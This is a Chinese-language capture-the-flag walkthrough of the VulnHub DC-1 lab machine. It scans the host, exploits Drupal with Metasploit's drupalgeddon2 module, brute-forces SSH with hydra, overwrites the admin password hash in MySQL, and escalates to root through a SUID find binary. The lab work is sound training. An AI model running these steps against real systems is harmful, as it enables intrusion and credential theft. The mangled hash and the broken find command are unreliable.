靶机介绍
download靶机
https://www.vulnhub.com/entry/dc-1,292/
DC-1的介绍如下
这个靶机需要获得root权限,并找到所有的5个flag
主机发现、扫描IP
DC-1是和我们在同一个局域网,我们可以使用arp-scan去主机发现,命令如下
arp-scan -l
发现第三个是目标主机,ip:172.16.183.135
namp端口扫描
nmap -sVC -p- 172.16.183.135
开放了3个端口 22、80、111
打开80段查看,发现是drupal cms,使用Metasploit进行漏洞查找攻击
漏洞查找
kali上自带的msfconsose可以自动化查找出一些框架的漏洞,并加以利用(都是已经公布过的)
使用最新的漏洞尝试攻击
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhost 172.16.183.135
exploit
看到提示Meterpreter session 1opened并出现,说明已经攻击成功
执行命令shell命令获得shell
get shell
通过上面的shell命令,我们已经可以对靶机的目录进行操作了,ls发现flag1.txt,cat查看内容
里面给了提示:
Every good CMS needs a config file - and so do you.
让我们去看配置文件,drupal的配置文件默认是/sites/defult/settings.php,我们切换过去看看
发现又给出了提示,说暴力破解不是唯一的方法,还给出了数据库的账号和密码,所以就想到登陆一下看看里面的用户能不能得到网站登陆的账号和密码。但是发现在shell下的mysql无法打开。
另寻思路
直接看passwd的内容
发现flag4用户。这里可以用到hydra+john the Ripper爆破。
hydra是kali自带的工具
-l 指定用户
-P 指定密码字典文件
得到flag4用户的密码为orange
通过ssh远程连接,然后用上面flag2得到的mysql账号和密码去登陆
这样就可以通过mysql进行数据库的一系列操作了
show databases;
use drupaldb;
show tables;
select * from users;
得到了用户的账号和密码,但是密码经过加密了,百度查找drupal重置密码的方法,直接把user表里的管理员字段改为
S
S
SCDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4
然后就可以用下面的密码登陆了!
password
尝试在网站上登陆,admin/password可以成功登陆,并且发现提示
提权
根据上面的提示发现perm,是让我们通过suid提权,SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。
使用python生成一个TTY shell
python -c ‘import pty;pty.spawn("/bin/bash")’
在服务器上找到一个带有 suid 权限的文件,发现“find”命令设置了SUID位。
find / -perm -u=s -type f 2>/dev/null
创建一个文件,查找文件后执行命令,root权限
touch 123
find 123 -exec “whami” ;
ls(成功提权)
成功拿到flag